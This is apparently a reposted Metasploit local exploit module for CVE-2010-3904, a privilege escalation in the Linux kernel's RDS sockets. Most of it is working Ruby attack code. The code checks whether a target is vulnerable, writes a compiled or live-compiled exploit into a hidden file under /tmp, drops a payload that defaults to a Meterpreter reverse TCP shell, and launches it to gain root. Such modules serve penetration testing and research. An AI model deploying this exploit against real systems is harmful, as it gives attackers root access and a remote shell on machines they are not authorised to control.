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vReliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation

2019-12-24 11:10
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = GreatRanking  include Msf::Post::File  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::Linux::Kernel  include Msf::Post::Linux::Compile  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Module::Deprecated  moved_from 'exploit/linux/local/rds_priv_esc'  def initialize(info = {})    super(update_info(info,      'Name'           => 'Reliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation',      'Description'    => %q{        This module exploits a vulnerability in the `rds_page_copy_user` function        in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8        to execute code as root (CVE-2010-3904).        This module has been tested successfully on:        Fedora 13 (i686) kernel version; and        Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic.      },      'License'        => MSF_LICENSE,      'Author'         =>        [          'Dan Rosenberg', # Discovery and C exploit          'bcoles'         # Metasploit        ],      'DisclosureDate' => 'Oct 20 2010',      'Platform'       => [ 'linux' ],      'Arch'           => [ ARCH_X86, ARCH_X64 ],      'SessionTypes'   => [ 'shell', 'meterpreter' ],      'Targets'        => [[ 'Auto', {} ]],      'Privileged'     => true,      'References'     =>        [          [ 'EDB', '15285' ],          [ 'CVE', '2010-3904' ],          [ 'BID', '44219' ],          [ 'URL', 'https://securitytracker.com/id?1024613' ],          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ],          [ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ],          [ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ],          [ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ],        ],      'DefaultOptions' =>        {          'PAYLOAD'     => 'linux/x86/meterpreter/reverse_tcp',          'WfsDelay'    => 10,          'PrependFork' => true        },      'Notes'          =>        {          'AKA'         => ['rds-fail.c'],          'Reliability' => [ UNRELIABLE_SESSION ],          'Stability'   => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK ]        },      'DefaultTarget'  => 0))    register_advanced_options [      OptBool.new('ForceExploit',  [ false, 'Override check result', false ]),      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])    ]  end  def base_dir    datastore['WritableDir'].to_s  end  def modules_disabled?    modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip    (modules_disabled.eql?('1') || modules_disabled.eql?('2'))  end  def upload(path, data)    print_status "Writing '#{path}' (#{data.size} bytes) ..."    rm_f path    write_file path, data    register_file_for_cleanup path  end  def check    version = kernel_release    unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') &&           Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37')      return CheckCode::Safe("Linux kernel version #{version} is not vulnerable")    end    vprint_good "Linux kernel version #{version} appears to be vulnerable"    unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets'      return CheckCode::Safe('RDS kernel module is not available')    end    vprint_good 'RDS kernel module is available'    if modules_disabled?      unless cmd_exec('/sbin/lsmod').to_s.include? 'rds'        return CheckCode::Safe('RDS kernel module is not loadable')      end    end    vprint_good 'RDS kernel module is loadable'    CheckCode::Appears  end  def exploit    unless check == CheckCode::Appears      unless datastore['ForceExploit']        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'      end      print_warning 'Target does not appear to be vulnerable'    end    if is_root?      unless datastore['ForceExploit']        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'      end    end    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    if live_compile?      vprint_status 'Live compiling exploit on system...'      upload_and_compile executable_path, exploit_data('cve-2010-3904', 'rds-fail.c')    else      vprint_status 'Dropping pre-compiled exploit on system...'      arch = kernel_hardware      case arch      when /amd64|ia64|x86_64|x64/i        upload_and_chmodx executable_path, exploit_data('cve-2010-3904', 'rds-fail.x64')      when /x86|i[3456]86/        upload_and_chmodx executable_path, exploit_data('cve-2010-3904', 'rds-fail.x86')      else        fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}"      end    end    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    upload_and_chmodx payload_path, generate_payload_exe    print_status 'Launching exploit...'    output = cmd_exec "#{executable_path} #{payload_path}"    output.each_line { |line| vprint_status line.chomp }  endend

Source: 6900219102-BLW/eussi/moc.ytirucesxc

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